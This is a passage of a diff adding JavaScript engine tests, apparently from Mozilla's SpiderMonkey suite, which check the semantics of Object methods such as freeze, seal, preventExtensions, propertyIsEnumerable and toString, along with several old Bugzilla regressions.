+assertEq(Object.isSealed(o1), true);
+assertEq(Object.isFrozen(o1), true);
+
+
+// Object with a data property
+
+var o2 = { 1: 2 };
+
+assertEq(Object.isExtensible(o2), true);
+assertEq(Object.isSealed(o2), false);
+assertEq(Object.isFrozen(o2), false);
+
+Object.preventExtensions(o2);
+
+assertEq(Object.isExtensible(o2), false);
+assertEq(Object.isSealed(o2), false);
+assertEq(Object.isFrozen(o2), false);
+
+Object.seal(o2);
+
+assertEq(Object.isExtensible(o2), false);
+assertEq(Object.isSealed(o2), true);
+assertEq(Object.isFrozen(o2), false);
+
+assertEq(o2[1], 2);
+
+var desc;
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 2);
+assertEq(desc.writable, true);
+
+o2[1] = 17;
+
+assertEq(o2[1], 17);
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 17);
+assertEq(desc.writable, true);
+
+Object.freeze(o2);
+
+assertEq(o2[1], 17);
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 17);
+assertEq(desc.writable, false);
+
+
+// Object with an accessor property
+
+var o3 = { get foo() { return 17; } };
+
+assertEq(Object.isExtensible(o3), true);
+assertEq(Object.isSealed(o3), false);
+assertEq(Object.isFrozen(o3), false);
+
+Object.preventExtensions(o3);
+
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), false);
+assertEq(Object.isFrozen(o3), false);
+
+Object.seal(o3);
+
+// An accessor property in a sealed object is unchanged if that object is
+// frozen, so a sealed object containing only accessor properties is also
+// vacuously frozen.
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), true);
+assertEq(Object.isFrozen(o3), true);
+
+Object.freeze(o3);
+
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), true);
+assertEq(Object.isFrozen(o3), true);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/object-create-with-primitive-second-arg.js b/js/src/tests/non262/object/object-create-with-primitive-second-arg.js
new file mode 100644
index 0000000000..44afd53c25
--- /dev/null
+++ b/js/src/tests/non262/object/object-create-with-primitive-second-arg.js
@@ -0,0 +1,8 @@
+[1, "", true, Symbol(), undefined].forEach(props => {
+ assertEq(Object.getPrototypeOf(Object.create(null, props)), null);
+});
+
+assertThrowsInstanceOf(() => Object.create(null, null), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/object-toString-01.js b/js/src/tests/non262/object/object-toString-01.js
new file mode 100644
index 0000000000..6a8c4e86a9
--- /dev/null
+++ b/js/src/tests/non262/object/object-toString-01.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'object-toString-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 575522;
+var summary = '({}).toString.call(null) == "[object Null]", ' +
+ '({}).toString.call(undefined) == "[object Undefined]", ';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var toString = Object.prototype.toString;
+
+assertEq(toString.call(null), "[object Null]");
+assertEq(toString.call(undefined), "[object Undefined]");
+
+assertEq(toString.call(true), "[object Boolean]");
+assertEq(toString.call(false), "[object Boolean]");
+
+assertEq(toString.call(0), "[object Number]");
+assertEq(toString.call(-0), "[object Number]");
+assertEq(toString.call(1), "[object Number]");
+assertEq(toString.call(-1), "[object Number]");
+assertEq(toString.call(NaN), "[object Number]");
+assertEq(toString.call(Infinity), "[object Number]");
+assertEq(toString.call(-Infinity), "[object Number]");
+
+assertEq(toString.call("foopy"), "[object String]");
+
+assertEq(toString.call({}), "[object Object]");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/preventExtensions-idempotent.js b/js/src/tests/non262/object/preventExtensions-idempotent.js
new file mode 100644
index 0000000000..c0b16d890f
--- /dev/null
+++ b/js/src/tests/non262/object/preventExtensions-idempotent.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'preventExtensions-idempotent.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 599459;
+var summary = 'Object.preventExtensions should be idempotent';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = {};
+assertEq(Object.preventExtensions(obj), obj);
+assertEq(Object.isExtensible(obj), false);
+assertEq(Object.preventExtensions(obj), obj);
+assertEq(Object.isExtensible(obj), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/preventExtensions-proxy.js b/js/src/tests/non262/object/preventExtensions-proxy.js
new file mode 100644
index 0000000000..347a63bc3a
--- /dev/null
+++ b/js/src/tests/non262/object/preventExtensions-proxy.js
@@ -0,0 +1,23 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+var {proxy, log} = logProxy();
+Object.preventExtensions(proxy);
+assertDeepEq(log, ["preventExtensions"]);
+
+var {proxy, log} = logProxy();
+Object.preventExtensions(Object.preventExtensions(proxy));
+assertDeepEq(log, ["preventExtensions", "preventExtensions"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/preventExtensions.js b/js/src/tests/non262/object/preventExtensions.js
new file mode 100644
index 0000000000..75c8ed3db5
--- /dev/null
+++ b/js/src/tests/non262/object/preventExtensions.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1073446;
+var summary = "Object.preventExtensions() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.preventExtensions(), undefined);
+assertEq(Object.preventExtensions(undefined), undefined);
+assertEq(Object.preventExtensions(null), null);
+assertEq(Object.preventExtensions(1), 1);
+assertEq(Object.preventExtensions("foo"), "foo");
+assertEq(Object.preventExtensions(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.preventExtensions(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/property-descriptor-order.js b/js/src/tests/non262/object/property-descriptor-order.js
new file mode 100644
index 0000000000..337d247dae
--- /dev/null
+++ b/js/src/tests/non262/object/property-descriptor-order.js
@@ -0,0 +1,17 @@
+var names = Object.getOwnPropertyNames(Object.getOwnPropertyDescriptor({foo: 0}, "foo"));
+assertDeepEq(names, ["value", "writable", "enumerable", "configurable"]);
+
+names = Object.getOwnPropertyNames(Object.getOwnPropertyDescriptor({get foo(){}}, "foo"));
+assertDeepEq(names, ["get", "set", "enumerable", "configurable"]);
+
+var proxy = new Proxy({}, {
+ defineProperty(target, key, desc) {
+ var names = Object.getOwnPropertyNames(desc);
+ assertDeepEq(names, ["set", "configurable"]);
+ return true;
+ }
+});
+
+Object.defineProperty(proxy, "foo", {configurable: true, set: function() {}});
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/propertyIsEnumerable-proxy.js b/js/src/tests/non262/object/propertyIsEnumerable-proxy.js
new file mode 100644
index 0000000000..a1dda90e0a
--- /dev/null
+++ b/js/src/tests/non262/object/propertyIsEnumerable-proxy.js
@@ -0,0 +1,59 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object) {
+ var log = [];
+ var handler = {
+ getOwnPropertyDescriptor(target, propertyKey) {
+ log.push(propertyKey);
+ return Object.getOwnPropertyDescriptor(target, propertyKey);
+ }
+ };
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ if (!(propertyKey in target)) {
+ throw new Error(`Unexpected call to trap: "${propertyKey}"`);
+ }
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+var properties = ["string-property"];
+if (typeof Symbol === 'function')
+ properties.push(Symbol("symbol-property"));
+
+for (var property of properties) {
+ // Test 1: property is not present on object
+ var {proxy, log} = logProxy({});
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 2: property is present on object and enumerable
+ var {proxy, log} = logProxy({[property]: 0});
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, true);
+ assertDeepEq(log, [property]);
+
+ // Test 3: property is present on object, but not enumerable
+ var {proxy, log} = logProxy(Object.defineProperty({[property]: 0}, property, {enumerable: false}));
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 4: property is present on prototype object
+ var {proxy, log} = logProxy(Object.create({[property]: 0}));
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 5: property is present on prototype object, prototype is proxy object
+ var {proxy, log} = logProxy({[property]: 0});
+ var result = Object.prototype.propertyIsEnumerable.call(Object.create(proxy), property);
+ assertEq(result, false);
+ assertDeepEq(log, []);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/propertyIsEnumerable.js b/js/src/tests/non262/object/propertyIsEnumerable.js
new file mode 100644
index 0000000000..e9b09d0bfb
--- /dev/null
+++ b/js/src/tests/non262/object/propertyIsEnumerable.js
@@ -0,0 +1,199 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'propertyIsEnumerable.js';
+var BUGNUMBER = 619283;
+var summary = "Object.prototype.propertyIsEnumerable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowError(errorCtor, fun)
+{
+ try
+ {
+ var r = fun();
+ throw "didn't throw TypeError, returned " + r;
+ }
+ catch (e)
+ {
+ assertEq(e instanceof errorCtor, true,
+ "didn't throw " + errorCtor.prototype.name + ", got: " + e);
+ }
+}
+
+function expectThrowTypeError(fun)
+{
+ expectThrowError(TypeError, fun);
+}
+
+function withToString(fun)
+{
+ return { toString: fun };
+}
+
+function withValueOf(fun)
+{
+ return { toString: null, valueOf: fun };
+}
+
+var propertyIsEnumerable = Object.prototype.propertyIsEnumerable;
+
+/*
+ * 1. Let P be ToString(V).
+ */
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable(withToString(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { fahslkjdfhlkjdsl; }));
+});
+
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable(withToString(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { eval("}"); }));
+});
+
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { eval("}"); }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withToString(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { [].length = -1; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { [].length = -1; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withToString(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { [].length = 0.7; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { [].length = 0.7; }));
+});
+
+/*
+ * 2. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+expectThrowTypeError(function() { propertyIsEnumerable("s"); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, "s"); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, "s"); });
+expectThrowTypeError(function() { propertyIsEnumerable(true); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, true); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, true); });
+expectThrowTypeError(function() { propertyIsEnumerable(NaN); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, NaN); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, NaN); });
+
+expectThrowTypeError(function() { propertyIsEnumerable({}); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, {}); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, {}); });
+
+/*
+ * 3. Let desc be the result of calling the [[GetOwnProperty]] internal method
+ * of O passing P as the argument.
+ * 4. If desc is undefined, return false.
+ */
+assertEq(propertyIsEnumerable.call({}, "valueOf"), false);
+assertEq(propertyIsEnumerable.call({}, "toString"), false);
+assertEq(propertyIsEnumerable.call("s", 1), false);
+assertEq(propertyIsEnumerable.call({}, "dsfiodjfs"), false);
+assertEq(propertyIsEnumerable.call(true, "toString"), false);
+assertEq(propertyIsEnumerable.call({}, "__proto__"), false);
+
+assertEq(propertyIsEnumerable.call(Object, "getOwnPropertyDescriptor"), false);
+assertEq(propertyIsEnumerable.call(this, "expectThrowTypeError"), true);
+assertEq(propertyIsEnumerable.call("s", "length"), false);
+assertEq(propertyIsEnumerable.call("s", 0), true);
+assertEq(propertyIsEnumerable.call(Number, "MAX_VALUE"), false);
+assertEq(propertyIsEnumerable.call({ x: 9 }, "x"), true);
+assertEq(propertyIsEnumerable.call(function() { }, "prototype"), false);
+assertEq(propertyIsEnumerable.call(function() { }, "length"), false);
+assertEq(propertyIsEnumerable.call(function() { "use strict"; }, "caller"), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/proto-property-change-writability-set.js b/js/src/tests/non262/object/proto-property-change-writability-set.js
new file mode 100644
index 0000000000..d81f844e93
--- /dev/null
+++ b/js/src/tests/non262/object/proto-property-change-writability-set.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors:
+ * Gary Kwong
+ * Jeff Walden
+ * Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 713944;
+var summary =
+ "Don't assert anything about a shape from the property cache until it's " +
+ "known the cache entry matches";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var accDesc = { set: function() {} };
+var dataDesc = { value: 3 };
+
+function f()
+{
+ propertyIsEnumerable = {};
+}
+function g()
+{
+ propertyIsEnumerable = {};
+}
+
+Object.defineProperty(Object.prototype, "propertyIsEnumerable", accDesc);
+f();
+Object.defineProperty(Object.prototype, "propertyIsEnumerable", dataDesc);
+assertEq(propertyIsEnumerable, 3);
+f();
+assertEq(propertyIsEnumerable, 3);
+g();
+assertEq(propertyIsEnumerable, 3);
+
+
+
+var a = { p1: 1, p2: 2 };
+var b = Object.create(a);
+Object.defineProperty(a, "p1", {set: function () {}});
+for (var i = 0; i < 2; i++)
+{
+ b.p1 = {};
+ Object.defineProperty(a, "p1", {value: 3});
+}
+assertEq(b.p1, 3);
+assertEq(a.p1, 3);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/regress-137000.js b/js/src/tests/non262/object/regress-137000.js
new file mode 100644
index 0000000000..7e4ce268dd
--- /dev/null
+++ b/js/src/tests/non262/object/regress-137000.js
@@ -0,0 +1,203 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 June 2002
+ * SUMMARY: Function param or local var with same name as a function property
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=137000
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=138708
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=150032
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=150859
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 137000;
+var summary = 'Function param or local var with same name as a function prop';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Note use of 'x' both for the parameter to f,
+ * and as a property name for |f| as an object
+ */
+function f(x)
+{
+}
+
+status = inSection(1);
+f.x = 12;
+actual = f.x;
+expect = 12;
+addThis();
+
+
+
+/*
+ * A more elaborate example, using the call() method
+ * to chain constructors from child to parent.
+ *
+ * The key point is the use of the same name 'p' for both
+ * the parameter to the constructor, and as a property name
+ */
+function parentObject(p)
+{
+ this.p = 1;
+}
+
+function childObject()
+{
+ parentObject.call(this);
+}
+childObject.prototype = parentObject;
+
+status = inSection(2);
+var objParent = new parentObject();
+actual = objParent.p;
+expect = 1;
+addThis();
+
+status = inSection(3);
+var objChild = new childObject();
+actual = objChild.p;
+expect = 1;
+addThis();
+
+
+
+/*
+ * A similar set-up. Here the same name is being used for
+ * the parameter to both the Base and Child constructors,
+ */
+function Base(id)
+{
+}
+
+function Child(id)
+{
+ this.prop = id;
+}
+Child.prototype=Base;
+
+status = inSection(4);
+var c1 = new Child('child1');
+actual = c1.prop;
+expect = 'child1';
+addThis();
+
+
+
+/*
+ * Use same identifier as a property name, too -
+ */
+function BaseX(id)
+{
+}
+
+function ChildX(id)
+{
+ this.id = id;
+}
+ChildX.prototype=BaseX;
+
+status = inSection(5);
+c1 = new ChildX('child1');
+actual = c1.id;
+expect = 'child1';
+addThis();
+
+
+
+/*
+ * From http://bugzilla.mozilla.org/show_bug.cgi?id=150032
+ *
+ * Here the same name is being used both for a local variable
+ * declared in g(), and as a property name for |g| as an object
+ */
+function g()
+{
+ var propA = g.propA;
+ var propB = g.propC;
+
+ this.getVarA = function() {return propA;}
+ this.getVarB = function() {return propB;}
+}
+g.propA = 'A';
+g.propB = 'B';
+g.propC = 'C';
+var obj = new g();
+
+status = inSection(6);
+actual = obj.getVarA(); // this one was returning 'undefined'
+expect = 'A';
+addThis();
+
+status = inSection(7);
+actual = obj.getVarB(); // this one is easy; it never failed
+expect = 'C';
+addThis();
+
+
+
+/*
+ * By martin.honnen@gmx.de
+ * From http://bugzilla.mozilla.org/show_bug.cgi?id=150859
+ *
+ * Here the same name is being used for a local var in F
+ * and as a property name for |F| as an object
+ *
+ * Twist: the property is added via another function.
+ */
+function setFProperty(val)
+{
+ F.propA = val;
+}
+
+function F()
+{
+ var propA = 'Local variable in F';
+}
+
+status = inSection(8);
+setFProperty('Hello');
+actual = F.propA; // this was returning 'undefined'
+expect = 'Hello';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/object/regress-192105.js b/js/src/tests/non262/object/regress-192105.js
new file mode 100644
index 0000000000..d29c2d7565
--- /dev/null
+++ b/js/src/tests/non262/object/regress-192105.js
@@ -0,0 +1,146 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 February 2003
+ * SUMMARY: Using |instanceof| to check if function is called as a constructor
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192105
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192105;
+var summary = 'Using |instanceof| to check if f() is called as constructor';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * This function is the heart of the test. It sets the result
+ * variable |actual|, which we will compare against |expect|.
+ *
+ * Note |actual| will be set to |true| or |false| according
+ * to whether or not this function is called as a constructor;
+ * i.e. whether it is called via the |new| keyword or not -
+ */
+function f()
+{
+ actual = (this instanceof f);
+}
+
+
+/*
+ * Call f as a constructor from global scope
+ */
+status = inSection(1);
+new f(); // sets |actual|
+expect = true;
+addThis();
+
+/*
+ * Now, not as a constructor
+ */
+status = inSection(2);
+f(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Call f as a constructor from function scope
+ */
+function F()
+{
+ new f();
+}
+status = inSection(3);
+F(); // sets |actual|
+expect = true;
+addThis();
+
+/*
+ * Now, not as a constructor
+ */
+function G()
+{
+ f();
+}
+status = inSection(4);
+G(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Now make F() and G() methods of an object
+ */
+var obj = {F:F, G:G};
+status = inSection(5);
+obj.F(); // sets |actual|
+expect = true;
+addThis();
+
+status = inSection(6);
+obj.G(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Now call F() and G() from yet other functions, and use eval()
+ */
+function A()
+{
+ eval('F();');
+}
+status = inSection(7);
+A(); // sets |actual|
+expect = true;
+addThis();
+
+
+function B()
+{
+ eval('G();');
+}
+status = inSection(8);
+B(); // sets |actual|
+expect = false;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/object/regress-308806-01.js b/js/src/tests/non262/object/regress-308806-01.js
new file mode 100644
index 0000000000..8e0a66839c
--- /dev/null
+++ b/js/src/tests/non262/object/regress-308806-01.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 308806;
+var summary = 'Object.prototype.toLocaleString() should track Object.prototype.toString() ';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {toString: function() { return 'foo'; }};
+
+expect = o.toString();
+actual = o.toLocaleString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/object/regress-338709.js b/js/src/tests/non262/object/regress-338709.js
new file mode 100644
index 0000000000..ca82e7fbcb
--- /dev/null
+++ b/js/src/tests/non262/object/regress-338709.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338709;
+var summary = 'ReadOnly properties should not be overwritten by using ' +
+ 'Object and try..throw..catch';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+Object = function () { return Math };
+expect = Math.LN2;
+try
+{
+ throw 1990;
+}
+catch (LN2)
+{
+}
+actual = Math.LN2;
+print("Math.LN2 = " + Math.LN2)
+ reportCompare(expect, actual, summary);
+
+var s = new String("abc");
+Object = function () { return s };
+expect = s.length;
+try
+{
+ throw -8
+ }
+catch (length)
+{
+}
+actual = s.length;
+print("length of '" + s + "' = " + s.length)
+ reportCompare(expect, actual, summary);
+
+var re = /xy/m;
+Object = function () { return re };
+expect = re.multiline;
+try
+{
+ throw false
+ }
+catch (multiline)
+{
+}
+actual = re.multiline;
+print("re.multiline = " + re.multiline)
+ reportCompare(expect, actual, summary);
+
+if ("document" in this) {
+ // Let the document be its own documentElement.
+ Object = function () { return document }
+ expect = document.documentElement + '';
+ try
+ {
+ throw document;
+ }
+ catch (documentElement)
+ {
+ }
+ actual = document.documentElement + '';
+ print("document.documentElement = " + document.documentElement)
+ }
+else
+ Object = this.constructor
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/object/regress-361274.js b/js/src/tests/non262/object/regress-361274.js
new file mode 100644
index 0000000000..dd3d15f328
--- /dev/null
+++ b/js/src/tests/non262/object/regress-361274.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361274;
+var summary = 'Embedded nulls in property names';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x='123'+'\0'+'456';
+ var y='123'+'\0'+'789';
+ var a={};
+ a[x]=1;
+ a[y]=2;
+
+ reportCompare(1, a[x], summary + ': 123\\0456');
+ reportCompare(2, a[y], summary + ': 123\\0789');
+}
diff --git a/js/src/tests/non262/object/regress-382503.js b/js/src/tests/non262/object/regress-382503.js
new file mode 100644
index 0000000000..373b45f6e2
--- /dev/null
+++ b/js/src/tests/non262/object/regress-382503.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 382503;
+var summary = 'Do not assert: with prototype=regexp';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(x)
+{
+ prototype = /a/;
+
+ if (x) {
+ return /b/;
+ return /c/;
+ } else {
+ return /d/;
+ }
+}
+
+void f(false);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/object/regress-382532.js b/js/src/tests/non262/object/regress-382532.js
new file mode 100644
index 0000000000..a65651a1c6
--- /dev/null
+++ b/js/src/tests/non262/object/regress-382532.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 382532;
+var summary = 'instanceof,... broken by use of |prototype| in heavyweight constructor';
+var actual = '';
+var expect = '';
+
+
